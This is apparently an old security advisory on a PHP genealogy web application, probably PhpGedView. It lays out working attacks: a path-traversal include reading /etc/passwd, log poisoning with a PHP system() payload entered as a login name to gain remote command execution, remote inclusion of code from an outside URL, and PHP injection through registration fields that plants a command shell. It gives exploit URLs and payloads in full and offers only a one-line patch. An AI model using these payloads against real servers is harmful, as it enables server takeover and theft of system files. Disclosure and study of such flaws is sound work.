vulnerabilties:
----------------------------------------------------------------------------------
i) in help_text_vars.php at lines 31-32:
...
require $PGV_BASE_DIRECTORY.$confighelpfile["english"];
if (file_exists($PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE])) require
$PGV_BASE_DIRECTORY.$confighelpfile[$LANGUAGE];
...
if registers_globals on yo can include/view an arbitrary file from local
resources:
http://[target]/[path]/help_text_vars.php?PGV_BASE_DIRECTORY=../../../../../../../etc/passwd
so, we have remote code execution, example: try to login with:
username: <?php system($_GET[cmd]);?>
password: [nothing]
now in log file we have:
2005.12.20 13:16:06 - 127.0.0.1 - Login Failed -><?php system($_GET[cmd]);?> <-
so you can launch operating system commands:
http://[target]/[path]/help_text_vars.php?cmd=ls%20-la&PGV_BASE_DIRECTORY=./index/pgv-200512.log
generally:
http://[target]/[path]/help_text_vars.php?cmd=ls-%20la&PGV_BASE_DIRECTORY=./index/pgv-[year][month].log
also, if register_globals on and allow_url_fopen on, you can include arbitrary
code from a remote location:
http://[target]/[path]/help_text_vars.php?cmd=dir&PGV_BASE_DIRECTORY=http://some_location/path/code.txt
patch: at line 30 simply add:
...
require('config.php');
...
-------------------------------------------------------------------------------------
ii) if magic_quotes_gpc off, you can inject arbitrary php code in
"user_language", "user_email" and "user_gedcomid"
arguments when you register, example, in one of this field type:
';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'
so in authenticate.php we have something like this:
...
$user = array();
$user["username"] = 'SUNTZU2118';
$user["fullname"] = 'suntzu';
$user["email"] =
'';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["language"] =
'english';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["verified"] = '';
$user["verified_by_admin"] = '';
$user["pwrequested"] = '';
$user["reg_timestamp"] = '1135079288';
$user["reg_hashcode"] = '[hashcode]';
$user["gedcomid"] = array();
$user["gedcomid"]["suntzu"] =
'';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["rootid"] = array();
$user["rootid"]["suntzu"] =
'';error_reporting(0);if(isset($suntzu)){system($_GET[suntzu]);die('HiMaster!');}echo'';
$user["canedit"] = array();
...
after you can launch commands:
http://[target]/[path]/?suntzu=ls%20-la
